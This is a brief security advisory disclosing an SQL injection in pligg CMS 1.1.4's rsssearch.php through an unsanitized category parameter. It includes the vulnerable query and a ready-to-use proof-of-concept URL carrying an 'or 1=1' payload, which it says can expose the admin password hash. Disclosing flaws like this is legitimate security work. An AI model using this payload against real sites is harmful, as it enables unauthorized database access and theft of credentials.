# Description #

An SQL Injection has been found on /rsssearch.php in pligg CMS 1.1.4. Prior
versions (works on 1.1.3) might also be vulnerables.

The $_REQUEST['category'] is not sanitized properly, and is used in a SQL
request in a WHERE clause. The resulting request can be :

SELECT pligg_links.link_id AS link_id, [...] FROM pligg_links LEFT JOIN
pligg_groups ON pligg_links.link_group_id = pligg_groups.group_id WHERE 1
AND ( [...] AND pligg_links.link_category = 123 or 1=1)# ) AND
pligg_links.link_status IN ('published','queued')


# Test #

To make this request happen, use this URL :

http://WEBSITE/pligg/rsssearch.php?search=test&adv=1&scategory=123+or+1=1%29%23

This can be used to retrieve information such as the admin's password hash,
etc.

Have a nice day, Null
